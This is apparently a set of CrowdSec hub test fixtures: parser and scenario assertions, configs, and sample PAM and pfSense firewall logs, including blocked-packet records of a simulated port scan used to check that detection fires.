results["s01-parse"]["crowdsecurity/pam-logs"][1].Evt.Parsed["tty"] == "/dev/pts/12" results["s01-parse"]["crowdsecurity/pam-logs"][1].Evt.Parsed["logname"] == "zbadguy" results["s01-parse"]["crowdsecurity/pam-logs"][1].Evt.Meta["username"] == "zbadguy" results["s01-parse"]["crowdsecurity/pam-logs"][1].Evt.Meta["datasource_path"] == "pam-logs.log" results["s01-parse"]["crowdsecurity/pam-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/pam-logs"][1].Evt.Meta["log_type"] == "pam_failed_auth" results["s01-parse"]["crowdsecurity/pam-logs"][1].Evt.Meta["machine"] == "vskub1master01p" results["s01-parse"]["crowdsecurity/pam-logs"][1].Evt.Meta["service"] == "pam" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 2 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "sudo" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "pam_tally2(sudo:auth): user zbadguy (4001) tally 6, deny 5" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["timestamp"] == "Dec 7 14:53:04" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["uid"] == "4001" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["username"] == "zbadguy" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "pam-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "pam_user_lock" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["machine"] == "vskub1master01p" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "pam" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["username"] == "zbadguy" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"][4:] == "-12-07T14:53:04Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["uid"] == "4001" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["euid"] == "0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "pam_unix(sudo:auth): authentication failure; logname=zbadguy uid=4001 euid=0 tty=/dev/pts/12 ruser=zbadguy rhost= user=zbadguy" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["timestamp"] == "Dec 7 14:52:59" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["tty"] == "/dev/pts/12" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["logname"] == "zbadguy" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["ruser"] == "zbadguy" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["username"] == "zbadguy" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "sudo" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["machine"] == "vskub1master01p" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["service"] == "pam" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["username"] == "zbadguy" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "pam-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "pam_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"][4:] == "-12-07T14:52:59Z" hub1/.tests/pf-logs/000077500000000000000000000000001437532772500145235ustar00rootroot00000000000000hub1/.tests/pf-logs/config.yaml000066400000000000000000000003021437532772500166470ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - firewallservices/pf-logs scenarios: - "" postoverflows: - "" log_file: pf-logs.log log_type: syslog ignore_parsers: false hub1/.tests/pf-logs/parser.assert000066400000000000000000000376341437532772500172570ustar00rootroot00000000000000len(results["s01-parse"]["firewallservices/pf-logs"]) == 3 results["s01-parse"]["firewallservices/pf-logs"][0].Success == true results["s01-parse"]["firewallservices/pf-logs"][0].Evt.Parsed["ip4_flags"] == "none" results["s01-parse"]["firewallservices/pf-logs"][0].Evt.Parsed["ip4_ttl"] == "64" results["s01-parse"]["firewallservices/pf-logs"][0].Evt.Parsed["data_length"] == "420" results["s01-parse"]["firewallservices/pf-logs"][0].Evt.Parsed["dst_port"] == "22" results["s01-parse"]["firewallservices/pf-logs"][0].Evt.Parsed["tracker"] == "1000000301" results["s01-parse"]["firewallservices/pf-logs"][0].Evt.Parsed["ip4_id"] == "420" results["s01-parse"]["firewallservices/pf-logs"][0].Evt.Parsed["src_ip"] == "10.0.2.2" results["s01-parse"]["firewallservices/pf-logs"][0].Evt.Parsed["dst_ip"] == "10.0.2.15" results["s01-parse"]["firewallservices/pf-logs"][0].Evt.Parsed["ip_ver"] == "4" results["s01-parse"]["firewallservices/pf-logs"][0].Evt.Parsed["ip4_proto"] == "tcp" results["s01-parse"]["firewallservices/pf-logs"][0].Evt.Parsed["reason"] == "match" results["s01-parse"]["firewallservices/pf-logs"][0].Evt.Parsed["direction"] == "in" results["s01-parse"]["firewallservices/pf-logs"][0].Evt.Parsed["program"] == "filterlog" results["s01-parse"]["firewallservices/pf-logs"][0].Evt.Parsed["length"] == "460" results["s01-parse"]["firewallservices/pf-logs"][0].Evt.Parsed["rule"] == "53" results["s01-parse"]["firewallservices/pf-logs"][0].Evt.Parsed["action"] == "block" results["s01-parse"]["firewallservices/pf-logs"][0].Evt.Parsed["ip4_offset"] == "0" results["s01-parse"]["firewallservices/pf-logs"][0].Evt.Parsed["ip4_proto_id"] == "6" results["s01-parse"]["firewallservices/pf-logs"][0].Evt.Parsed["timestamp"] == "Sep 28 10:38:09" results["s01-parse"]["firewallservices/pf-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["firewallservices/pf-logs"][0].Evt.Parsed["src_port"] == "53742" results["s01-parse"]["firewallservices/pf-logs"][0].Evt.Parsed["iface"] == "em0" results["s01-parse"]["firewallservices/pf-logs"][0].Evt.Parsed["ip4_tos"] == "0x0" results["s01-parse"]["firewallservices/pf-logs"][0].Evt.Parsed["message"] == "53,,,1000000301,em0,match,block,in,4,0x0,,64,420,0,none,6,tcp,460,10.0.2.2,10.0.2.15,53742,22,420,PA,29633380:29633800,3617062173,65535,," results["s01-parse"]["firewallservices/pf-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["firewallservices/pf-logs"][0].Evt.Meta["log_type"] == "pf" results["s01-parse"]["firewallservices/pf-logs"][0].Evt.Meta["datasource_path"] == "pf-logs.log" results["s01-parse"]["firewallservices/pf-logs"][1].Success == true results["s01-parse"]["firewallservices/pf-logs"][1].Evt.Parsed["ip4_flags"] == "none" results["s01-parse"]["firewallservices/pf-logs"][1].Evt.Parsed["src_ip"] == "10.0.2.2" results["s01-parse"]["firewallservices/pf-logs"][1].Evt.Parsed["data_length"] == "0" results["s01-parse"]["firewallservices/pf-logs"][1].Evt.Parsed["ip4_ttl"] == "64" results["s01-parse"]["firewallservices/pf-logs"][1].Evt.Parsed["src_port"] == "53792" results["s01-parse"]["firewallservices/pf-logs"][1].Evt.Parsed["iface"] == "em0" results["s01-parse"]["firewallservices/pf-logs"][1].Evt.Parsed["ip_ver"] == "4" results["s01-parse"]["firewallservices/pf-logs"][1].Evt.Parsed["ip4_proto"] == "tcp" results["s01-parse"]["firewallservices/pf-logs"][1].Evt.Parsed["reason"] == "match" results["s01-parse"]["firewallservices/pf-logs"][1].Evt.Parsed["dst_ip"] == "10.0.2.15" results["s01-parse"]["firewallservices/pf-logs"][1].Evt.Parsed["dst_port"] == "22" results["s01-parse"]["firewallservices/pf-logs"][1].Evt.Parsed["ip4_proto_id"] == "6" results["s01-parse"]["firewallservices/pf-logs"][1].Evt.Parsed["length"] == "44" results["s01-parse"]["firewallservices/pf-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["firewallservices/pf-logs"][1].Evt.Parsed["message"] == "53,,,1000102631,em0,match,block,in,4,0x0,,64,600,0,none,6,tcp,44,10.0.2.2,10.0.2.15,53792,22,0,S,31552001,,65535,,mss" results["s01-parse"]["firewallservices/pf-logs"][1].Evt.Parsed["direction"] == "in" results["s01-parse"]["firewallservices/pf-logs"][1].Evt.Parsed["timestamp"] == "Sep 28 10:38:24" results["s01-parse"]["firewallservices/pf-logs"][1].Evt.Parsed["rule"] == "53" results["s01-parse"]["firewallservices/pf-logs"][1].Evt.Parsed["ip4_offset"] == "0" results["s01-parse"]["firewallservices/pf-logs"][1].Evt.Parsed["program"] == "filterlog" results["s01-parse"]["firewallservices/pf-logs"][1].Evt.Parsed["tracker"] == "1000102631" results["s01-parse"]["firewallservices/pf-logs"][1].Evt.Parsed["ip4_tos"] == "0x0" results["s01-parse"]["firewallservices/pf-logs"][1].Evt.Parsed["action"] == "block" results["s01-parse"]["firewallservices/pf-logs"][1].Evt.Parsed["ip4_id"] == "600" results["s01-parse"]["firewallservices/pf-logs"][1].Evt.Meta["datasource_path"] == "pf-logs.log" results["s01-parse"]["firewallservices/pf-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["firewallservices/pf-logs"][1].Evt.Meta["log_type"] == "pf" results["s01-parse"]["firewallservices/pf-logs"][2].Success == true results["s01-parse"]["firewallservices/pf-logs"][2].Evt.Parsed["reason"] == "match" results["s01-parse"]["firewallservices/pf-logs"][2].Evt.Parsed["direction"] == "out" results["s01-parse"]["firewallservices/pf-logs"][2].Evt.Parsed["ip4_offset"] == "0" results["s01-parse"]["firewallservices/pf-logs"][2].Evt.Parsed["ip4_proto_id"] == "6" results["s01-parse"]["firewallservices/pf-logs"][2].Evt.Parsed["ip4_proto"] == "tcp" results["s01-parse"]["firewallservices/pf-logs"][2].Evt.Parsed["ip4_tos"] == "0x0" results["s01-parse"]["firewallservices/pf-logs"][2].Evt.Parsed["rule"] == "6" results["s01-parse"]["firewallservices/pf-logs"][2].Evt.Parsed["ip4_flags"] == "DF" results["s01-parse"]["firewallservices/pf-logs"][2].Evt.Parsed["length"] == "40" results["s01-parse"]["firewallservices/pf-logs"][2].Evt.Parsed["program"] == "filterlog" results["s01-parse"]["firewallservices/pf-logs"][2].Evt.Parsed["src_ip"] == "10.0.2.15" results["s01-parse"]["firewallservices/pf-logs"][2].Evt.Parsed["tracker"] == "1000102434" results["s01-parse"]["firewallservices/pf-logs"][2].Evt.Parsed["ack_number"] == "29633380" results["s01-parse"]["firewallservices/pf-logs"][2].Evt.Parsed["iface"] == "em0" results["s01-parse"]["firewallservices/pf-logs"][2].Evt.Parsed["message"] == "6,,,1000102434,em0,match,block,out,4,0x0,,64,0,0,DF,6,tcp,40,10.0.2.15,10.0.2.2,22,53742,0,FA,3617062173,29633380,65535,," results["s01-parse"]["firewallservices/pf-logs"][2].Evt.Parsed["sequence_number"] == "3617062173" results["s01-parse"]["firewallservices/pf-logs"][2].Evt.Parsed["dst_ip"] == "10.0.2.2" results["s01-parse"]["firewallservices/pf-logs"][2].Evt.Parsed["tcp_flags"] == "FA" results["s01-parse"]["firewallservices/pf-logs"][2].Evt.Parsed["tcp_window"] == "65535" results["s01-parse"]["firewallservices/pf-logs"][2].Evt.Parsed["action"] == "block" results["s01-parse"]["firewallservices/pf-logs"][2].Evt.Parsed["ip_ver"] == "4" results["s01-parse"]["firewallservices/pf-logs"][2].Evt.Parsed["timestamp"] == "Sep 28 10:38:41" results["s01-parse"]["firewallservices/pf-logs"][2].Evt.Parsed["ip4_id"] == "0" results["s01-parse"]["firewallservices/pf-logs"][2].Evt.Parsed["ip4_ttl"] == "64" results["s01-parse"]["firewallservices/pf-logs"][2].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["firewallservices/pf-logs"][2].Evt.Meta["datasource_path"] == "pf-logs.log" results["s01-parse"]["firewallservices/pf-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["firewallservices/pf-logs"][2].Evt.Meta["log_type"] == "pf" len(results["s01-parse"]["firewallservices/pf-logs-drop"]) == 3 results["s01-parse"]["firewallservices/pf-logs-drop"][0].Success == true results["s01-parse"]["firewallservices/pf-logs-drop"][0].Evt.Parsed["reason"] == "match" results["s01-parse"]["firewallservices/pf-logs-drop"][0].Evt.Parsed["dst_port"] == "22" results["s01-parse"]["firewallservices/pf-logs-drop"][0].Evt.Parsed["ip_ver"] == "4" results["s01-parse"]["firewallservices/pf-logs-drop"][0].Evt.Parsed["ip4_flags"] == "none" results["s01-parse"]["firewallservices/pf-logs-drop"][0].Evt.Parsed["program"] == "filterlog" results["s01-parse"]["firewallservices/pf-logs-drop"][0].Evt.Parsed["action"] == "block" results["s01-parse"]["firewallservices/pf-logs-drop"][0].Evt.Parsed["ip4_proto_id"] == "6" results["s01-parse"]["firewallservices/pf-logs-drop"][0].Evt.Parsed["dst_ip"] == "10.0.2.15" results["s01-parse"]["firewallservices/pf-logs-drop"][0].Evt.Parsed["iface"] == "em0" results["s01-parse"]["firewallservices/pf-logs-drop"][0].Evt.Parsed["ip4_id"] == "420" results["s01-parse"]["firewallservices/pf-logs-drop"][0].Evt.Parsed["length"] == "460" results["s01-parse"]["firewallservices/pf-logs-drop"][0].Evt.Parsed["src_ip"] == "10.0.2.2" results["s01-parse"]["firewallservices/pf-logs-drop"][0].Evt.Parsed["src_port"] == "53742" results["s01-parse"]["firewallservices/pf-logs-drop"][0].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["firewallservices/pf-logs-drop"][0].Evt.Parsed["message"] == "53,,,1000000301,em0,match,block,in,4,0x0,,64,420,0,none,6,tcp,460,10.0.2.2,10.0.2.15,53742,22,420,PA,29633380:29633800,3617062173,65535,," results["s01-parse"]["firewallservices/pf-logs-drop"][0].Evt.Parsed["data_length"] == "420" results["s01-parse"]["firewallservices/pf-logs-drop"][0].Evt.Parsed["direction"] == "in" results["s01-parse"]["firewallservices/pf-logs-drop"][0].Evt.Parsed["ip4_offset"] == "0" results["s01-parse"]["firewallservices/pf-logs-drop"][0].Evt.Parsed["ip4_proto"] == "tcp" results["s01-parse"]["firewallservices/pf-logs-drop"][0].Evt.Parsed["rule"] == "53" results["s01-parse"]["firewallservices/pf-logs-drop"][0].Evt.Parsed["tracker"] == "1000000301" results["s01-parse"]["firewallservices/pf-logs-drop"][0].Evt.Parsed["ip4_tos"] == "0x0" results["s01-parse"]["firewallservices/pf-logs-drop"][0].Evt.Parsed["ip4_ttl"] == "64" results["s01-parse"]["firewallservices/pf-logs-drop"][0].Evt.Parsed["timestamp"] == "Sep 28 10:38:09" results["s01-parse"]["firewallservices/pf-logs-drop"][0].Evt.Meta["datasource_path"] == "pf-logs.log" results["s01-parse"]["firewallservices/pf-logs-drop"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["firewallservices/pf-logs-drop"][0].Evt.Meta["log_type"] == "pf_drop" results["s01-parse"]["firewallservices/pf-logs-drop"][0].Evt.Meta["service"] == "tcp" results["s01-parse"]["firewallservices/pf-logs-drop"][0].Evt.Meta["source_ip"] == "10.0.2.2" results["s01-parse"]["firewallservices/pf-logs-drop"][1].Success == true results["s01-parse"]["firewallservices/pf-logs-drop"][1].Evt.Parsed["program"] == "filterlog" results["s01-parse"]["firewallservices/pf-logs-drop"][1].Evt.Parsed["message"] == "53,,,1000102631,em0,match,block,in,4,0x0,,64,600,0,none,6,tcp,44,10.0.2.2,10.0.2.15,53792,22,0,S,31552001,,65535,,mss" results["s01-parse"]["firewallservices/pf-logs-drop"][1].Evt.Parsed["ip4_flags"] == "none" results["s01-parse"]["firewallservices/pf-logs-drop"][1].Evt.Parsed["rule"] == "53" results["s01-parse"]["firewallservices/pf-logs-drop"][1].Evt.Parsed["timestamp"] == "Sep 28 10:38:24" results["s01-parse"]["firewallservices/pf-logs-drop"][1].Evt.Parsed["dst_port"] == "22" results["s01-parse"]["firewallservices/pf-logs-drop"][1].Evt.Parsed["ip_ver"] == "4" results["s01-parse"]["firewallservices/pf-logs-drop"][1].Evt.Parsed["reason"] == "match" results["s01-parse"]["firewallservices/pf-logs-drop"][1].Evt.Parsed["src_ip"] == "10.0.2.2" results["s01-parse"]["firewallservices/pf-logs-drop"][1].Evt.Parsed["tracker"] == "1000102631" results["s01-parse"]["firewallservices/pf-logs-drop"][1].Evt.Parsed["length"] == "44" results["s01-parse"]["firewallservices/pf-logs-drop"][1].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["firewallservices/pf-logs-drop"][1].Evt.Parsed["ip4_proto"] == "tcp" results["s01-parse"]["firewallservices/pf-logs-drop"][1].Evt.Parsed["ip4_tos"] == "0x0" results["s01-parse"]["firewallservices/pf-logs-drop"][1].Evt.Parsed["ip4_ttl"] == "64" results["s01-parse"]["firewallservices/pf-logs-drop"][1].Evt.Parsed["ip4_proto_id"] == "6" results["s01-parse"]["firewallservices/pf-logs-drop"][1].Evt.Parsed["direction"] == "in" results["s01-parse"]["firewallservices/pf-logs-drop"][1].Evt.Parsed["src_port"] == "53792" results["s01-parse"]["firewallservices/pf-logs-drop"][1].Evt.Parsed["action"] == "block" results["s01-parse"]["firewallservices/pf-logs-drop"][1].Evt.Parsed["data_length"] == "0" results["s01-parse"]["firewallservices/pf-logs-drop"][1].Evt.Parsed["ip4_offset"] == "0" results["s01-parse"]["firewallservices/pf-logs-drop"][1].Evt.Parsed["dst_ip"] == "10.0.2.15" results["s01-parse"]["firewallservices/pf-logs-drop"][1].Evt.Parsed["iface"] == "em0" results["s01-parse"]["firewallservices/pf-logs-drop"][1].Evt.Parsed["ip4_id"] == "600" results["s01-parse"]["firewallservices/pf-logs-drop"][1].Evt.Meta["source_ip"] == "10.0.2.2" results["s01-parse"]["firewallservices/pf-logs-drop"][1].Evt.Meta["datasource_path"] == "pf-logs.log" results["s01-parse"]["firewallservices/pf-logs-drop"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["firewallservices/pf-logs-drop"][1].Evt.Meta["log_type"] == "pf_drop" results["s01-parse"]["firewallservices/pf-logs-drop"][1].Evt.Meta["service"] == "tcp" results["s01-parse"]["firewallservices/pf-logs-drop"][2].Success == true results["s01-parse"]["firewallservices/pf-logs-drop"][2].Evt.Parsed["ip4_tos"] == "0x0" results["s01-parse"]["firewallservices/pf-logs-drop"][2].Evt.Parsed["reason"] == "match" results["s01-parse"]["firewallservices/pf-logs-drop"][2].Evt.Parsed["rule"] == "6" results["s01-parse"]["firewallservices/pf-logs-drop"][2].Evt.Parsed["src_ip"] == "10.0.2.15" results["s01-parse"]["firewallservices/pf-logs-drop"][2].Evt.Parsed["action"] == "block" results["s01-parse"]["firewallservices/pf-logs-drop"][2].Evt.Parsed["program"] == "filterlog" results["s01-parse"]["firewallservices/pf-logs-drop"][2].Evt.Parsed["sequence_number"] == "3617062173" results["s01-parse"]["firewallservices/pf-logs-drop"][2].Evt.Parsed["ip_ver"] == "4" results["s01-parse"]["firewallservices/pf-logs-drop"][2].Evt.Parsed["ip4_ttl"] == "64" results["s01-parse"]["firewallservices/pf-logs-drop"][2].Evt.Parsed["length"] == "40" results["s01-parse"]["firewallservices/pf-logs-drop"][2].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["firewallservices/pf-logs-drop"][2].Evt.Parsed["message"] == "6,,,1000102434,em0,match,block,out,4,0x0,,64,0,0,DF,6,tcp,40,10.0.2.15,10.0.2.2,22,53742,0,FA,3617062173,29633380,65535,," results["s01-parse"]["firewallservices/pf-logs-drop"][2].Evt.Parsed["direction"] == "out" results["s01-parse"]["firewallservices/pf-logs-drop"][2].Evt.Parsed["dst_ip"] == "10.0.2.2" results["s01-parse"]["firewallservices/pf-logs-drop"][2].Evt.Parsed["ip4_proto_id"] == "6" results["s01-parse"]["firewallservices/pf-logs-drop"][2].Evt.Parsed["ack_number"] == "29633380" results["s01-parse"]["firewallservices/pf-logs-drop"][2].Evt.Parsed["iface"] == "em0" results["s01-parse"]["firewallservices/pf-logs-drop"][2].Evt.Parsed["ip4_id"] == "0" results["s01-parse"]["firewallservices/pf-logs-drop"][2].Evt.Parsed["tracker"] == "1000102434" results["s01-parse"]["firewallservices/pf-logs-drop"][2].Evt.Parsed["ip4_flags"] == "DF" results["s01-parse"]["firewallservices/pf-logs-drop"][2].Evt.Parsed["ip4_offset"] == "0" results["s01-parse"]["firewallservices/pf-logs-drop"][2].Evt.Parsed["ip4_proto"] == "tcp" results["s01-parse"]["firewallservices/pf-logs-drop"][2].Evt.Parsed["tcp_flags"] == "FA" results["s01-parse"]["firewallservices/pf-logs-drop"][2].Evt.Parsed["tcp_window"] == "65535" results["s01-parse"]["firewallservices/pf-logs-drop"][2].Evt.Parsed["timestamp"] == "Sep 28 10:38:41" results["s01-parse"]["firewallservices/pf-logs-drop"][2].Evt.Meta["datasource_path"] == "pf-logs.log" results["s01-parse"]["firewallservices/pf-logs-drop"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["firewallservices/pf-logs-drop"][2].Evt.Meta["log_type"] == "pf_drop" results["s01-parse"]["firewallservices/pf-logs-drop"][2].Evt.Meta["service"] == "tcp" results["s01-parse"]["firewallservices/pf-logs-drop"][2].Evt.Meta["source_ip"] == "10.0.2.15" hub1/.tests/pf-logs/pf-logs.log000066400000000000000000000007421437532772500166000ustar00rootroot00000000000000Sep 28 10:38:09 pfSense filterlog: 53,,,1000000301,em0,match,block,in,4,0x0,,64,420,0,none,6,tcp,460,10.0.2.2,10.0.2.15,53742,22,420,PA,29633380:29633800,3617062173,65535,, Sep 28 10:38:24 pfSense filterlog: 53,,,1000102631,em0,match,block,in,4,0x0,,64,600,0,none,6,tcp,44,10.0.2.2,10.0.2.15,53792,22,0,S,31552001,,65535,,mss Sep 28 10:38:41 pfSense filterlog: 6,,,1000102434,em0,match,block,out,4,0x0,,64,0,0,DF,6,tcp,40,10.0.2.15,10.0.2.2,22,53742,0,FA,3617062173,29633380,65535,,hub1/.tests/pf-logs/scenario.assert000066400000000000000000000000001437532772500175370ustar00rootroot00000000000000hub1/.tests/pf-scan-multi-port/000077500000000000000000000000001437532772500166155ustar00rootroot00000000000000hub1/.tests/pf-scan-multi-port/config.yaml000066400000000000000000000003561437532772500207520ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - firewallservices/pf-logs scenarios: - firewallservices/pf-scan-multi_ports postoverflows: - "" log_file: pf-scan-multi-port.log log_type: syslog ignore_parsers: true hub1/.tests/pf-scan-multi-port/parser.assert000066400000000000000000000000001437532772500213220ustar00rootroot00000000000000hub1/.tests/pf-scan-multi-port/pf-scan-multi-port.log000066400000000000000000000046441437532772500227710ustar00rootroot00000000000000Sep 30 14:35:50 pfSense filterlog: 53,,,1000102631,em0,match,block,in,4,0x0,,64,892,0,none,6,tcp,44,10.0.2.2,10.0.2.15,59576,22,0,S,17536001,,65535,,mss Sep 30 14:35:50 pfSense filterlog: 53,,,1000102631,em0,match,block,in,4,0x0,,64,892,0,none,6,tcp,44,10.0.2.2,10.0.2.15,59576,2222,0,S,17536001,,65535,,mss Sep 30 14:35:50 pfSense filterlog: 53,,,1000102631,em0,match,block,in,4,0x0,,64,892,0,none,6,tcp,44,10.0.2.2,10.0.2.15,59576,21,0,S,17536001,,65535,,mss Sep 30 14:35:50 pfSense filterlog: 53,,,1000102631,em0,match,block,in,4,0x0,,64,892,0,none,6,tcp,44,10.0.2.2,10.0.2.15,59576,23,0,S,17536001,,65535,,mss Sep 30 14:35:50 pfSense filterlog: 53,,,1000102631,em0,match,block,in,4,0x0,,64,892,0,none,6,tcp,44,10.0.2.2,10.0.2.15,59576,25,0,S,17536001,,65535,,mss Sep 30 14:35:50 pfSense filterlog: 53,,,1000102631,em0,match,block,in,4,0x0,,64,892,0,none,6,tcp,44,10.0.2.2,10.0.2.15,59576,80,0,S,17536001,,65535,,mss Sep 30 14:35:50 pfSense filterlog: 53,,,1000102631,em0,match,block,in,4,0x0,,64,892,0,none,6,tcp,44,10.0.2.2,10.0.2.15,59576,8081,0,S,17536001,,65535,,mss Sep 30 14:35:50 pfSense filterlog: 53,,,1000102631,em0,match,block,in,4,0x0,,64,892,0,none,6,tcp,44,10.0.2.2,10.0.2.15,59576,8082,0,S,17536001,,65535,,mss Sep 30 14:35:50 pfSense filterlog: 53,,,1000102631,em0,match,block,in,4,0x0,,64,892,0,none,6,tcp,44,10.0.2.2,10.0.2.15,59576,443,0,S,17536001,,65535,,mss Sep 30 14:35:50 pfSense filterlog: 53,,,1000102631,em0,match,block,in,4,0x0,,64,892,0,none,6,tcp,44,10.0.2.2,10.0.2.15,59576,4443,0,S,17536001,,65535,,mss Sep 30 14:35:50 pfSense filterlog: 53,,,1000102631,em0,match,block,in,4,0x0,,64,892,0,none,6,tcp,44,10.0.2.2,10.0.2.15,59576,145,0,S,17536001,,65535,,mss Sep 30 14:35:50 pfSense filterlog: 53,,,1000102631,em0,match,block,in,4,0x0,,64,892,0,none,6,tcp,44,10.0.2.2,10.0.2.15,59576,3306,0,S,17536001,,65535,,mss Sep 30 14:35:50 pfSense filterlog: 53,,,1000102631,em0,match,block,in,4,0x0,,64,892,0,none,6,tcp,44,10.0.2.2,10.0.2.15,59576,336,0,S,17536001,,65535,,mss Sep 30 14:35:50 pfSense filterlog: 53,,,1000102631,em0,match,block,in,4,0x0,,64,892,0,none,6,tcp,44,10.0.2.2,10.0.2.15,59576,1234,0,S,17536001,,65535,,mss Sep 30 14:35:50 pfSense filterlog: 53,,,1000102631,em0,match,block,in,4,0x0,,64,892,0,none,6,tcp,44,10.0.2.2,10.0.2.15,59576,4567,0,S,17536001,,65535,,mss Sep 30 14:35:50 pfSense filterlog: 53,,,1000102631,em0,match,block,in,4,0x0,,64,892,0,none,6,tcp,44,10.0.2.2,10.0.2.15,59576,9090,0,S,17536001,,65535,,mss hub1/.tests/pf-scan-multi-port/scenario.assert000066400000000000000000000143721437532772500216520ustar00rootroot00000000000000len(results) == 1 "10.0.2.2" in results[0].Overflow.GetSources() results[0].Overflow.Sources["10.0.2.2"].IP == "10.0.2.2" results[0].Overflow.Sources["10.0.2.2"].Range == "" results[0].Overflow.Sources["10.0.2.2"].GetScope() == "Ip" results[0].Overflow.Sources["10.0.2.2"].GetValue() == "10.0.2.2" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "pf-scan-multi-port.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "pf_drop" results[0].Overflow.Alert.Events[0].GetMeta("service") == "tcp" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "10.0.2.2" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "pf-scan-multi-port.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "pf_drop" results[0].Overflow.Alert.Events[1].GetMeta("service") == "tcp" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "10.0.2.2" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "pf-scan-multi-port.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "pf_drop" results[0].Overflow.Alert.Events[2].GetMeta("service") == "tcp" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "10.0.2.2" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "pf-scan-multi-port.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "pf_drop" results[0].Overflow.Alert.Events[3].GetMeta("service") == "tcp" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "10.0.2.2" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "pf-scan-multi-port.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "pf_drop" results[0].Overflow.Alert.Events[4].GetMeta("service") == "tcp" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "10.0.2.2" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "pf-scan-multi-port.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "pf_drop" results[0].Overflow.Alert.Events[5].GetMeta("service") == "tcp" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "10.0.2.2" results[0].Overflow.Alert.Events[6].GetMeta("datasource_path") == "pf-scan-multi-port.log" results[0].Overflow.Alert.Events[6].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[6].GetMeta("log_type") == "pf_drop" results[0].Overflow.Alert.Events[6].GetMeta("service") == "tcp" results[0].Overflow.Alert.Events[6].GetMeta("source_ip") == "10.0.2.2" 